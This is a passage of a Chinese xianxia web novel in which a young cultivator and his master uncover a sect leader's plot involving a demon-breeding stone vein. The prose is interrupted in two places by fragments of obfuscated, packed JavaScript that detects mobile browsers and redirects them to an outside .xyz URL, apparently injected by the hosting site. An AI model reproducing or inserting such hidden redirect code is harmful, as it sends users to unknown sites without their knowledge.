l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736114|157322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 危险的是那魔气会蚕食我体内的灵力!” 温却沧沉默地看着他。 邢莫江将衣袖恢复原状,看着他突然笑道:“温道友此时应该很疑惑吧?我明明伤得这么重,还被魔气侵蚀,如今竟安然无恙,身上连魔气的一丝残留都没有。” “是有疑惑。” 邢莫江脸上的笑容化为一声叹息,略有悲伤地说:“我能活下来,都是托了师弟的福。” 温却沧问:“此话怎讲?” 说话间,二人已来到主殿中的一间房屋面前,邢莫江将房门推开,道:“温道友一看便知。” 走进去便感知到一阵灵力波动,是阵法转移,从原本的屋子来到了一个黑黝黝的山洞之中。 温却沧顿住了,他惊讶道:“是仓冥石?!” “是一整条仓冥石脉!”邢莫江点点头,眼里露出精光,“温道友,你知道这代表着什么,对不对?” 仓冥石是远古的一种矿石,它与蕴含灵力的灵石不同,是唯一可以吸收魔气的石头!有了仓冥石,那些被魔气侵蚀感染的普通人还有非自愿成魔的修仙者就有救了,甚至在对抗魔气的时候,也能靠此石来削弱魔气。 不过,仓冥石有利也有弊,也正是因为它极易吸收魔气,当聚集的魔气足够多的时候,就会产生魔。 因此当时仓冥石都被几大宗门联合管理,不得滥用,当仓冥石聚集一定魔气后便需要被立即毁坏,只需注入灵力,仓冥石便会因灵魔不相容而爆炸。 但是,仓冥石已绝迹三千年了,没想到如今竟在北天剑宗发现了一整条仓冥石脉! “是师弟发现的这条石脉,他渡突破雷劫时无意将此处山脉劈断,却没想到放出了魔,那时他刚渡完雷劫还未稳固,对付魔还有些吃力,我想上去帮忙却因此受伤,师弟只好独自一人抗魔,谁知后来不知踪影……” 邢莫江顿了顿,继续说道,“想必是那魔将石脉蕴藏的魔气都吸走了,所以这条石脉内并没有残留魔气,我便借着仓冥石化解了体内的魔气。” 他见温却沧依旧没有说话,有些忧虑:“仓冥石脉的事情重大,所以我封锁了消息故意说师弟正在闭关,也是怕有心人来探查发现了这石脉,会起贪欲……” 邢莫江看着无言的温却沧,义正言辞道:“我相信温道友的为人,便将此事告知。本想等找回师弟后再做定夺,可是已经过去太久,仓冥石脉一事还是早日挖掘为好。这可是修仙界一大事,届时北天剑宗愿意交出一半的仓冥石给各宗门,为抗魔,吾辈在所不辞!” “邢宗主高义。”温却沧拱手。 邢莫江这才露出笑容来,说:“温道友,此事重大,还请暂时保密。明日是本宗一年一度的试剑大会,那时我会将仓冥石脉一事告知众人,相信剑宗弟子都会支持我的做法。” 另一边。 应夏紧握着骨刀,功德金光缠绕上刀柄,他挥出一刀,鸟啼声盖过哭嚎,烈焰化作火鸟冲向血雾! 15. 第 15 章 血雾似有所感,混沌的影子聚集在一处,朝那火红的焰鸟迎上来。 凄厉的鸟啼与嘶吼声相撞,迸发出强烈的气劲,最后还是烈焰吞噬了混沌,在那片血雾中撕开一处巨大的裂缝,边缘处燃烧着像是要将血雾都吞噬殆尽。 裂缝后是未被血雾笼罩的树林,一如往常的静谧。 应夏勾了下唇角,“以为我这么好骗?” 手中骨刀一侧,又快速砍出一刀,刀气凶猛地冲向那片寂静的树林,然而很快在即将触碰之时,那景象便扭曲一瞬又化成了可怖的血雾模样。 原来,被撕开的裂缝也是假象!若是一击后真的相信了已劈开道路,可能就要毫无察觉地进入血雾中! “这破雾气倒是诡计多端,真麻烦。”应夏握紧红刃骨刀,嘴上嫌弃着,那双眼眸却亮晶晶的。 除了和便宜师父对战外,就是和穆槐序、裴道远他们打,应夏一直觉得缺了点什么,现在明白了,是缺少了像现在这般身处险境的危机感。 应夏舔了舔唇瓣,嫩红的下唇上那枚小痣更为明显,眼眸显现出一抹淡淡的红光来。 突然想到了什么,他将红刃骨刀抬起,在自己掌心划了一道,红刃沾了血闪着诡异的猩红光芒,看上去可怖极了。 但应夏却没有劈出刀劲,而是用刀在虚空中歪歪斜斜刻出字体来。 那是几个咒文,应夏打算尝试一下新的可能性,用刀势来画咒,他写的很快,一个咒文落下便环绕在他身边,当初伺机进攻的血雾。 直到十个咒文全部刻完,十个带着金色掺杂些许猩红的咒文在应夏周身环绕着,散发出可怖的气息。 应夏右手的银环因此发出莹莹光芒,腰上的玉佩也不安宁,好在似乎知道这个咒文对自身没有威胁,才又恢复平静。 “看起来效果不错。”应夏看着那缓缓绕着圈的咒文,露出了一个满意的笑容。 与此同时,血雾中的混沌影子又重新聚集起来,似乎是要发起下一波攻击。 应夏冷笑一声,骤然将骨刀插入地面! 强有力的刀势将周身的咒文扩展开来,泛着金红色光芒的咒文,竟是将血雾的范围毫不费力地推了出去,像是一阵飓风吹散了浓稠混沌的血雾! 血雾中的影子在触碰到咒文的时候,发出了惨厉的尖叫声,顷刻间被咒文吸收得一干二净。 咒文随着刀势还在扩大,吞噬掉越多的血雾,那咒文的颜色便愈发鲜红,几瞬之间,整片树林的血雾就被啃食殆尽。 应夏将骨刀拔起,横在面前,吸饱血雾力量的咒文便又原路缩回来,他心念一动,这回十字咒文环成一圈绕着骨刀,形成了一圈刀挡,这让看起来有些原始的骨刀更像真正的刀了。 不仅如此,那圈咒文刀挡将吸收的力量反哺给刀身,令刀身充斥着强大的力量。 应夏欣喜地摸着这柄红刃骨刀,没想到自己的突发奇想还有这种收获,朱雀的骨头不愧为四神兽之一,真是好用!回头再去找朱雀道谢。 (朱雀:……大可不必。) 成为刀挡的十字咒文还能随着应夏的心意变化排列,骨刀能顺利使出不同的能力,应夏倒是突然想感谢这血雾了。 应夏将力量一收,咒文逐渐暗淡直至消散,骨刀又恢复了原来的模样,他抛了抛骨刀,心满意足地收起来。 现在血雾已除,他得尽快找到那个魔气来源。 踩着枯枝腐叶深入树林,应夏在一处沼泽地发现了一块蕴含着魔气的石头。 他蹙着眉,见到石头的那一刻便触发了传承记忆,“这是……仓冥石?” 在远古的记忆中,仓冥石是因人类的贪欲诞生的石头,当它承载太多的欲望后,就会滋生出魔,而因冥石诞生的魔为了脱离控制必须实现一个愿望,否则天地将不允许他的诞生,因此,仓冥石一度被称为许愿石。 可是,天底下哪有真正的许愿石,能带来极大好处的东西亦能带来极大的坏处,世界法则对万物生灵都是公平的。 很快,因人类恶欲诞生的魔造成了无数的死伤,到处生灵涂炭。最后是修仙界几位大能联手,将仓冥石尽数销毁,并将所有记录仓冥石能许愿的书籍手记等全部撕毁删改,只记录它会吸收魔气,会滋养出魔来,以此警戒世人谨慎使用。 而最近关于仓冥石的记忆,也只是用它来救一些被魔气侵蚀的人,且被修仙界各大宗门严格把控,修仙者使用完仓冥石后也立刻销毁,根本没有让魔有养成的机会。 所以现在的人都是不知道仓冥石真正的用法…… 应夏眯起眼睛,邢莫江很可能知道了仓冥石的真正用法,利用它养出魔来实现自己的愿望,比如让邢莫启失踪或者死亡,而魔不会拒绝这个愿望,更不可能反噬养他的人…… “仓冥石能吸收魔气,所以邢莫江身上才一点儿魔气都没有!” 应夏无声笑了笑,现在逻辑倒是理顺了,但很快他又皱起了眉。 仅凭仓冥石不能算有力的证据,邢莫江可以说不知道养魔许愿的事情,而自己也无法证实真正用法,总不能说是因为传承记忆才知道吧? 如果将仓冥石当成证据拿出来,到时候邢莫江反而可以解释,当时邢燕看到他身上有魔气的事情,因为他说过与魔对战并受伤,仓冥石可能用来吸收残留魔气。 “这么推算下来,邢莫江可能是无辜的?” 应夏眼神冷冷,心道:无辜个屁! 若是真无辜,就不会问心有愧,毕竟仓冥石就是他强有力的护身符。即便如此,邢莫江还是监视控制邢燕,用魔气作饵引自己入血雾,即使真的突破血雾,这沼泽中的仓冥石就是邢莫江最后的反击—— 要么相信邢莫江是无辜的,然后将仓冥石的事情告知邢燕,让邢燕也相信他。 要么继续更深怀疑邢莫江用仓冥石滋养魔,才导致宗主与魔打斗失踪,但那时邢莫江可以反驳,他只是用仓冥石来吸取伤处魔气,且没有其他证据,反而洗清他的嫌疑。 如此大费周章,为何不直接将仓冥石一事全盘托出呢? 所以,应该还有什么让邢莫江忌惮,忌惮仓冥石的秘密会被发现,所以他才没有第一时间拿出仓冥石证明自己,而且还要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736115|157322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在逼不得已的时候再拿出来。 应夏抿着唇,他漏掉了什么? 左手小指的魔骨突然动了动,一瞬间,应夏猛然惊醒般,是那个魔! 宗主邢莫启与魔一起失踪了!不是死亡也不是生还,而是处于一种不确定踪迹的状态,这让邢莫江非常不安!所以这件事一直没有个妥善的结尾,失踪这个结局,或许是邢莫江没有料想到的。 应夏轻啧一声,结果还是得先找到失踪的人和魔才行……这可不太好找啊。 邢燕有一点说错了,邢莫江不是不想找,恐怕整个宗门最想找到邢莫启的人就是他了,只有知道了结果,他才好走下一步棋。 现在不上不下的,应夏觉得邢莫江自己也挺难受的,还招来了两个麻烦——指他和温却沧。 应夏估摸着邢莫江应该是不得不将仓冥石一事公布了,但他一旦公布,要想再推翻这件事情恐怕就难了。 “麻烦。”应夏撇撇嘴,他伸手虚空一握,金光托着沼泽内的仓冥石递到他手中,仔细查看着石头内魔气,量还没达到上限,真是完美的‘证据’。 不过,为了感谢邢莫江送出的血雾,让他升级了骨刀,便帮他解决一下这个麻烦吧。 应夏微笑着,他很好奇,到时候揭下伪君子面具的他会是什么模样,真是令人期待。 他用手撑着下巴,正思考着怎么破目前的局,腰上的玉佩散发出盈盈光芒,熟悉的声音传入耳畔。 “乖徒儿,你跑哪玩去了?怎么还不回来?” 应夏恍然回神,不知不觉竟然过去了那么久,已到深夜了,难怪温却沧会找他。 他回道:“马上就回来。” “嗯,小心些。” 应夏呼了口气,转身离开这片树林,边走便嘟囔着:“看来是邢燕说错了,邢莫江身上的魔气应该就是这个仓冥石,我记得他说过与魔对战受了伤……” 直到声音逐渐远去,直至树林回归寂静后,一个人影无声无息的出现在应夏原本站着的地方,月色正好被云遮挡,看不清面貌。 应夏边走边慢慢勾起唇角,口中还在念叨着:“回去就告诉邢燕吧,她误会了……唉,这事我也帮不上忙,明天的试剑大会我还比较感兴趣……” 说着说着,应夏嘴边的笑容凝了一瞬,试剑大会!他要在试剑大会上公布仓冥石一事! 明日午时报名截止,开始时间他记得是……报名截止的第二日,也就是后天! 只有不到两天的时间了,他必须在试剑大会开始前,找到证明邢莫江利用仓冥石养魔一事的证据。 “试剑大会我用刀应该可以吧?” 不到两天的时间,来得及么? “不管了,反正好像没限制使用武器,只是说砍灵石而已,而且我是客人,应该会酌情考虑放宽要求吧?” 应夏将银环带回左手小指,他捏着指环没有松手,找魔一事估计得靠魔骨了,他对后天魔气着实不太感冒。 “啊,还可以给师父报个名,他是用剑的。” 对了,可以去问问朱雀有什么好办法! 16. 第 16 章 应夏回去后,告知温却沧邢燕的事情,正打算将仓冥石掏出来的时候,突然被他握住了手腕。 温却沧抬起他的左手,轻轻掰开他攥紧的手指,看到了横贯在掌心那道还未愈合的伤口,他一眼便看出那是红刃骨刀造成的。 自己伤了自己,这倒是没想到。 温却沧黯了眼眸,修长白皙的手指温柔的点在了那道伤口上,精纯的灵力慢慢从指间渗出包裹住伤处,肉眼可见的快速愈合。 应夏只觉得手心又热又痒,不自觉地想要收回手,却被他握着手腕禁锢了动作。 本想说小伤而已,目光刚撞上温却沧浸着些许冷意的桃花眼,到嘴边的话便变成了:“不疼的,谢谢师父。” 左手的手指微微蜷曲,带着些许讨好的意味触碰着温却沧的手指。 直到伤口全然愈合,温却沧也没有放开他的手。 应夏微蹙眉头,试探性地抽了抽手,“师父?” 温却沧打了一下他光洁白净的手心,热意顺着手心传递过来,令应夏震惊无比,甚至直接握住了温却沧的几根手指。 应夏睁大双眼,咬着下唇的小痣,鹿眸中漫上不解。 温却沧垂眸看他,如蝶翼的睫毛半遮了眼,明明离得很近,应夏却看不清他的情绪,有些不安地再次想要抽回手,但依旧纹丝不动。 “师父,我错了,我不该用骨刀划伤自己的。”应夏像是骤然领悟便宜师父生气的点在哪,赶紧认错道,“我只是想到了个点子,用我自己的血可以……” 说到半途立即住了嘴,因为见温却沧抽回手指,作势还要打一下。 应夏连忙伸出另一只手握住他的手,急道:“师父,我知道错了,别!” 打手心疼是不疼,但也太臊人了!还不如直接拔剑打他一顿来的直接呢! 温却沧看着应夏有些微红的脸颊,鹿眸难得的显出潋滟水光,心软了一瞬,便松开了手。 应夏终于被放开,松了口气。可这口气还没叹完,额头便毫无防备地被弹了一记,他又瞪大了眼睛,捂住额头赶紧后退几步。 罪魁祸首温却沧见他如临大敌的模样,不禁莞尔。 应夏揉揉额头,看见温却沧眼底淡淡的笑意,便放心下来。 不想,听温却沧沉声道:“看来只有一条规矩还不够,便再加两条。第一条是不可乱杀无辜,第二条是……把你自己的身体或者说命,放在心上,别肆意作践,明白么?” 望着师父深邃的眼眸,应夏不敢反驳:“知道了师父,那……还有一条呢?” 温却沧背手看他,故意严肃着神情,道:“暂且放着,看你表现。” 应夏在温却沧强大气场的压制下逐渐缓过神,有些些反骨的劲儿上来,可又想到这是因为便宜师父在担心自己,那少许的不爽便自己消散了干净。 他看着温却沧故作凶样,笑盈盈地仰头看着他,说:“师父是担心我对不对?” 温却沧见那双清澈眼眸中溢着得意之色,终还是忍不住,伸手摸摸他的头,道:“是,毕竟你是我第一个徒弟,也是唯一的徒弟。” 这话令应夏很高兴,那点不适感彻底消失,嘴边的笑意更大了,骄矜地点点头,却被温却沧轻轻捏了下鼻梁。 “记住我刚才的话,这可不是玩笑。”温柔磁性的声音暗含着警告。 “知道啦——”应夏有恃无恐地拉长声音,在温却沧又要抬手之时,赶紧转移话题,“哦对了师父,我还找到一个东西。” 他将仓冥石拿出来,交给温却沧,简单说了一下找到这颗石头的事情。 “我有些累了,师父,我先回去睡觉了。”应夏走进卧房关上门前,想到了什么,朝温却沧道了一声晚安。 温却沧握着那颗仓冥石,看着徒弟的房门,无奈地摇摇头,垂眸将视线放在手心中蕴含着魔气的石头。 的确是仓冥石,邢莫江解释过他用来吸收魔气后,不小心被宗主唯一的徒弟邢燕瞧见,他便慌里慌张的扔到了鬼雾林中。 温却沧又看了几眼,便将那块仓冥石随手扔在了桌子上,再也没抛去过视线。 - 一大早,应夏便跑去报名,登记上自己和温却沧的名字后,他多问了几句执事。 “这位道友,试剑大会宗主会不会参加?” 执事回答道:“宗主和十二峰峰主都会参加,不过不参与名次的评选。” 应夏连连点头,“明白明白,毕竟他们境界那么高。” 执事见他长得格外好看,人又识趣,便多说了几句:“由你自己劈碎的灵石可以带回去修炼,劈碎的越多,反而还会给你额外的其他奖励。不过额外奖励给剑宗弟子准备的,非本门弟子只能拿到灵石,还望见谅。” “理解。” 离开后,应夏拿出了一张蓝色的纸,几下折成纸鹤模样放飞于空中,纸鹤似有灵扇着翅膀绕了他一圈后,朝一个方向飞去。 这是邢燕给他的,说是可以用这纸鹤引他前往小空间寻她。 应夏跟上纸鹤,他打算先去找邢燕将昨夜一事告知。 而当应夏跟着纸鹤进入小空间时,却听到一声声委屈至极的哭嚷,他脸色一变,用上法诀飞身前去。 一位身着剑宗服饰的温婉女子,正搂着哭得一抽一抽的邢燕,轻声哄着:“燕燕,代理宗主他知道你误会也没解释,都是为了宗门,可如今我将实情告诉你,燕燕,代理宗主他也是用心良苦……” 闻言,应夏暗道自己来晚了,没想到竟被邢莫江抢先一步。 这位便是邢燕口中的师姐了吧?听这话像是邢莫江请来的说客,不知是真的被邢莫江面上的道貌岸然骗了,还是他刻意安插在邢燕身边的监视者。 若是后者,怕纸鹤的事情,也是邢莫江故意漏出去的。为什么呢?或许是等不及了,得找个人来破了现在进退两难的局才好。 鹿眸转了转,那位师姐也发现了站在远处的少年,惊讶于他过盛的容貌,却知道他应该 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应夏耐着性子等她絮絮叨叨得说了许多,才听到一句结束语,“唉,我暂且先回去,等燕燕冷静下来了我再来看她。失礼,先告辞了。” “慢走。” 终于等她离开,应夏呼了口气,还是第一次碰见这样的人,相比于之前的李雨诗,他觉得还是李雨诗对付起来更容易。 随后他便在小空间里又放出了纸鹤,顺着纸鹤深入小空间的林子里,才在一处泉水旁见到正在洗脸的邢燕。 “没想到你还会在你亲爱的师姐面前演戏。”应夏毫不忌讳的直言,毕竟他并没有真当邢燕是个无知小孩。 邢燕即使年岁不大,但聪慧非凡,知道现在装成个“任性小孩”模样才最能麻痹邢莫江。 想到这里,应夏对邢燕忍不住露出赞赏的目光,好奇道:“事实或许真如她所言,你为何偏偏相信一定是邢莫江害你师父呢?” “因为我相信我看到的。”邢燕抹了把脸站起来,“或许我当时看到的真的是仓冥石,可是,即便被我看到了又怎么样?他为什么要对我起杀意?” 邢燕定定的看向应夏,说:“那一刻,我是真的感觉到他想杀我。” 应夏没说信还是不信,只是多问了一句:“仅仅如此?” “对,只凭感觉听起来很荒谬,但我就是相信这个感觉。”邢燕的眼睛依旧红红的,那是之前哭过的痕迹,但她的眼神极为坚定。 应夏笑了:“我相信你,我也觉得邢莫江很有问题。” 他将昨晚的事情简单叙述,并将自己的猜测也告诉她,说:“我认为他会在明日的试剑大会上,将仓冥石一事公之于众,到那时,一切就晚了。” 邢燕着急道:“那可怎么办?明天,时间太少了!我们根本来不及……” “不急,我已经想到办法了。”应夏摸了摸邢燕的头顶,“不过需要麻烦你帮我做一件事,这件事或许会将你陷于不利之地……” 17. 第 17 章 “你是玄衍宗的温却沧对不对?” 温却沧看着面前这个不由分说上来就抱住他大腿的小女孩,有些诧异地点点头,问:“我是,怎么了?” 邢燕抬起绪满泪水的双眼,正要哭诉,却突然被慌忙赶到的邢莫江打断。 “真是抱歉,温道友,这个孩子是我师弟的徒弟,师弟失踪她很伤心,便……” 邢燕直接大声盖过他的话,道:“你不要相信他!就是他害得我师父失踪了!” 邢莫江一脸焦急又无奈:“邢燕,你怎么能这么说?”欲言又止后化作一声叹息。 他看向温却沧,正要致歉,温却沧抬手阻止,蹲下身温声问道:“你叫邢燕是不是?你为什么说他害了你的师父呢?可有证据?” 温却沧还轻柔地帮她擦去脸上的泪水,用了一些灵力将她眼角的红痕消去,使她稚嫩的脸蛋不再有微微的刺痛感。 邢燕心里一下子对他有了许多好感,不愧是师父的挚友,但面上仍旧委委屈屈道:“他拿了师父给我的令牌!” 邢莫江解释道:“我也是为了你好,不想让你无故耗费灵力,何况你还这么小,那令牌是全宗门通行令,若是不加以阻止,怕你误入一些危险的地方。如果师弟知道了,他应该也会赞同我的做法……” “我不管,那是师父给我的,你凭什么拿走?”邢燕嘟起嘴,十分气愤道,“你分明就是有鬼!怕令牌在我身上,然后被我找到一些不可告人的秘密,对不对?” “怎么会?!我根本没有任何理由去害师弟,更何况,剑宗有规矩,同门弟子无法相残……” “所以你才和魔勾结,把师父困在什么地方了是不是?!” “邢燕!” 温却沧适时阻止了这场争吵,摸了摸邢燕的脑袋,问她:“那么现在,你来找我是所为何事呢?你想做什么?” 邢燕眨了眨眼睛,想了一会儿,说:“我想要要回令牌,然后、然后你和我一起找一遍整个剑宗,这样的话,即使他布了什么迷阵困阵幻阵,你肯定会发现的对不对?而且若是真的找到了师父,或许还会遇上那个魔,以你的实力也能打败那魔。” 温却沧笑了笑:“想的还挺周全。” 随后他看向邢莫江,桃花眼里是赞同邢燕的想法,邢莫江哪能看不出来,他叹了口气,将令牌拿了出来递给温却沧,道:“令牌放在邢燕身上,我实在不放心,万一有什么意外……便先交给温道友,由你陪着邢燕一道,自是安全不过。” 温却沧接过令牌,“自然,我会保护好她的。” 邢燕高兴地看着那枚回来的令牌,虽然并不是在她手上,但好歹她也能去找师父了,拉了拉温却沧的衣袖,道:“那我们现在就去吧!” 还没拉着温却沧走出几步,就听邢莫江跟在后面说:“今天正好我也没什么事情,既然是去找师弟,温道友不介意我也一起吧?” “可以。” 邢燕气鼓鼓的还想说什么,可见温却沧答应了,才扁了扁嘴,狠狠瞪了一眼邢莫江,然后甩头不看他,拉着温却沧蹭蹭的跑了,像是以为这样便能甩开他似的。 邢莫江跟上二人,状似随口问了句:“怎不见温道友的徒弟?” 温却沧还没说话,却明显感觉到牵着他衣角的邢燕身形一顿,然后又故作镇静,他顿了顿,说:“他一贯喜欢切磋,听说贵宗明日举办试剑大会,今早便火急火燎出门报名了。” “原来如此。”邢莫江笑着点点头,但背在身后的手指动了动。 过了一会儿,他察觉到了什么,看着前面两个一大一小的身影,无声嗤笑——那少年的确聪明,知道声东击西,用邢燕来吸引他的注意力,然后自己去找林瑶套话,可惜……他也只能想到这一步了。 林瑶便是那个最爱护邢燕的师姐,应夏也确实去找了他,只不过去找林瑶说话的那个‘应夏’壳子里,是被拉出来迷惑邢莫江的朱雀。 昨夜,火海梦境中,应夏找朱雀讨论仓冥石一事。 朱雀得知后,沉思良久,竟是道出一句惊言:“北天剑宗内或许有仓冥石脉。” 应夏十分诧异,但仔细想想似乎也有道理,邢莫江若是只对宗主之位感兴趣,并不是只有与魔勾搭上这一条路,但如果再加上一条仓冥石脉就不好说了。 宗主之位变成了其次,一整条仓冥石脉,那是多么大的诱惑,若是经营得力或许北天剑宗能一跃而起成为修仙界第一大宗门,届时宗主之位也会变得格外炙手可热。 这或许才是邢莫江愿意铤而走险,承担与魔勾结的风险的真正原因,他要夺取宗主之位和仓冥石脉控制权! “仓冥石不会凭空出现,即便出现也不会只出现这一小块,那么最有可能的就是他发现了仓冥石脉。”朱雀说,“这条石脉,在魔气横行的当下,自然是比宗主之位更吸引人。” “你说得不错。如果是一条石脉的话,的确值得他大费周章,届时在试剑大会上公布此次消息,然后顺水推舟做个人情什么的,更能巩固他现在的地位!” 应夏捏着下巴,思绪快速转动着,朱雀就这么安静的站在一旁,并不打扰他思考。 不过半晌,应夏脸上便有了笑容,他对朱雀说:“你帮我一个忙吧!” 回到当下。 邢燕带着温却沧与邢莫江在北天剑宗转悠的时候,朱雀正顶着‘应夏’的壳子,与林瑶说话。 他学着应夏桀骜少年的作派,态度十分咄咄逼人,开门见山道:“你是不是邢莫江特意放在邢燕身边的人?” 林瑶笑得毫无破绽,她温和地点点头:“确实如此,不过也是因为宗主失踪,燕燕无人照看,这才托我照顾。” ‘应夏’哼哼两声,又问了好些关于邢莫江和邢燕的问题,但都被林瑶一一化解。 “应小友不必如此,我知道你是关心燕燕,可我也一样。”林瑶第一次收起了笑容,她那双秋水般的眼眸认真地望着‘应夏’,道,“我虽然会将燕燕的事情告诉代理宗主,那是因为他给的理由确 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当他真正进入山里后,他震惊了,这山底下竟是真的埋着一条长长的仓冥石脉!甚至是还没有被魔气沾染过的,干净的仓冥石! 难怪、难怪!别说邢莫江,任何一个修仙者站在这里,都会忍不住的吧? 应夏忍得住,因为仓冥石对他没有用处,但他知道,这条石脉对修仙者来说,代表着什么。 魔骨突然不正常的颤动将应夏的注意力拉了回来,他沉下心神,看向石脉深处,魔骨告诉他那里封印着魔。 应夏很快飞到魔骨所说之处,而那被封印的魔也似有所感,看着应夏的方向颇为惊讶道:“怎么会有魔气?难道他又想造魔杀人了?也是,毕竟……” 嘶哑低沉的喃喃,令人不喜。 这魔能看透功德金光?应夏蹙眉,却没有出声,安静地观察着。 那是距离仓冥石脉有十米的一处洞窟,底下布满了密密麻麻的纹路符咒,将一团混沌魔气禁锢其中,魔气不管怎么撞都会被挡住。 这魔看起来……好弱!应夏有些嫌弃,看起来不像是能与化神期修者打得难舍难分的样子,怎么回事? “你怎么会被封印在这里?” 那团魔气用嘶哑的嗓音说道:“你不必知道,你只要将封印坏掉把我救出去,我便可以给你许多好处!” “好处?”应夏像是听到了什么好笑的笑话,冷笑几声,然后将身上的功德金光扩展,笼罩住那一片小地方,而在这片小天地中,应夏可以肆无忌惮地显露出原本的面貌。 浓稠黑郁的先天魔气伸展开来,连那封印阵都被其吞噬得一干二净,甚至连阵法上的传讯都被魔气截断。 那团魔气顿时萎靡不振,颤颤巍巍地缩在离他最远的角落,求饶道:“你、原来你是……别、别杀我……” 先天魔气中露出一双一金一红的眼眸,应夏的声音从中传来:“我不杀你,不过你得如实回答我的问题。” 18. 第 18 章 日落西山,星子稀疏地挂上夜空。 应夏回到小空间,邢燕已经等在那里了。 “我找到了!”邢燕激动地拽住应夏的袖子,眼睛亮晶晶的,“你给我的符纸,在剑冢里会发热,是不是就是说明,那魔就在剑冢里?!” 说着,将那片符纸拿出来,上头画着金红色的咒文。 应夏伸出手指点在那符咒上,半晌才松了一口气,笑着说:“没错,你说的剑冢里确实有魔。” 邢燕喜不自胜,后又想到什么,皱紧眉头,连忙问道:“那、那我师父呢?他会不会也在剑冢里?可是我跟着你师父一起进去,找了许久都没发现……难不成又是邢莫江搞的鬼?” 应夏拍拍她的肩膀,安抚道:“你别着急,符咒告诉我那里有非常强大的封印,虽然不能确定,但十有八九你师父就在那里。” 实际上据他现阶段所掌握的情况,应夏可以十分肯定,那魔所在之处就是北天剑宗宗主邢莫启所在,他和魔一起困在了剑冢的封印里。 邢燕揉了揉眼睛,说:“那我们现在就去把我师父救出来吧!” “不急。邢莫启宗主和魔一起被封印在剑冢里必有原因,我们不能现在就去救他们,这么做只会便宜了邢莫江,无法戳穿他的阴谋。” 应夏顿了顿,看向邢燕缓缓道,“我有个计划,明日试剑大会时……” 邢燕焦急地打断他,道:“不行我要去救我师父!他现在和魔待在一起,万一、万一出了什么事……我只想找到师父,邢莫江的事我其实不感兴趣,我只想要师父回来……” 说着呜呜哭了起来,在碰到师父的事情上,邢燕又像个小孩子了。 应夏按了按额头,耐着性子蹲下身平视她,帮她擦掉眼泪,解释道:“我知道你担心你师父,但他既然已经和魔在剑冢封印下滞留了许久,而命牌依旧好好的,这说明邢莫启的性命无虞。你还不相信你师父的实力吗?不相信他能压制住一个魔?而且还是在有剑冢封印的情况下。” “我相信师父,可、可是……” “而且你仔细想一想,如果这一次你放过了邢莫江,难道他以后就不会再对你师父出手了?而且以他的手段,一定会卖惨解释将自己撇得干干净净,你师父会相信你还是相信他?我猜邢莫启宗主应该是一个正直端方的君子,他是不会怀疑自己的师兄弟的。” 应夏见邢燕的神情,便知自己猜对了,他继续循循善诱道:“以后若是他想做什么,还能像今天这样抓住他的把柄吗?邢莫江会用别的、更厉害的计谋来谋害你们师徒二人,你师父对他的师兄毫不设防,而邢莫江经此一事也会更加谨慎小心不露破绽。到那时,你可有办法应对?” “我、我……” 应夏再接再厉:“这一次我们可以抓住机会将他揪出来,以绝后患!” 沉默良久,邢燕终究是被说动了,她咬着唇点点头。 - 应夏回到剑宗给他们安排的住所,刚进门,就看见温却沧坐在椅子上,右手边摆着一杯只剩半盏的茶,已经凉了。 这架势,怎么像是等他很久了? 应夏眨眨眼睛,不动声色地喊了一句:“师父。” 身后的门应声而合,温却沧指了指身旁的座位,应夏想了想才坐了过去,问:“怎么了师父?” “明日想做什么?”语气平常,可应夏就是听出来有些不一样。 应夏不确定他这话是在问什么,便道:“明天是试剑大会,当然是试试我的刀能比他们剑宗的剑,多斩碎多少特制灵石了。” “你应该知道,我想知道的不是这个。” 闻言,应夏抬眸对上那双深邃的桃花眼,嘟囔道:“我又不是师父肚子里的蛔虫,怎会知道你想什么。” 温却沧伸手轻敲了下他的额头,说:“你还记得我是你师父?主意这么大,还以为你已经忘记了。” 应夏没躲反而突然绽开了笑容,鹿眸清澈见底:“既然师父都这么问了,肯定是猜到什么了吧?” 温却沧看自家徒弟,无奈地叹了口气,道:“邢燕是你让她来找我,才有今日那一出是不是?” “看来没瞒过师父。”应夏皱着眉反问道,“那邢莫江也看出来了吗?” 温却沧又伸手点了点他的眉心,说:“没有,小姑娘的演技很好,骗过了邢莫江,不过当时她靠着我,能感觉得到她在剑冢时有些激动。” “没被邢莫江发现就好。”应夏刚松了口气,就被点在眉心的手指推了一下,抬眸看去,白玉般的手指已收回。 “所以,莫启是在剑冢里?剑冢的百剑封印阵法很强,若非破阵,无法得知底下情况。” 应夏连忙问:“师父可能破阵?” 温却沧顿了顿,道:“不知道,但可一试。” 说完便瞧见少年的褐色眼眸又灵活地转了转,最后看向二人之间的那杯凉茶,不知在想什么鬼点子。 “你找到证据了?” 应夏犹豫着要不要告诉便宜师父仓冥石脉的事情,温却沧见他欲言又止的模样,便知还是得他先走一步。 思考片刻,温却沧便将那晚邢莫江来找他去看仓冥石脉一事与应夏说出,并道:“仓冥石脉一事重大,若邢莫江真的因此起了贪欲不奇怪,唯一让我疑惑的是,他是如何与魔勾结?” “原来师父已经知道仓冥石脉的事情了,怎么不早点和我说?” 温却沧笑着摇头:“你不也没告诉我么?” 应夏撇了撇嘴,自知理亏,伸手戳了戳茶盏,发出清脆的碰撞声。 但他无法全盘托出,毕竟石脉中那魔的事情不太好解释,便隐去了一些,将自己这几天的遭遇与猜测告诉他。 温却沧认真听完,沉思一阵,道:“但你还是没有说,能将邢莫江定罪的证据是什么。” 应夏捧着脸看着他,说:“师父,要有一些神秘感嘛!明天你就知道了,肯定是个惊喜。”就是可能惊比喜多一些。 “好,只要你记住我定的规矩,便随你。”温却沧纵容道。 应夏眯着眼睛,回想了一下自己的计划,“我记得,师父。对了,明天或许还需要你出手。”得破剑 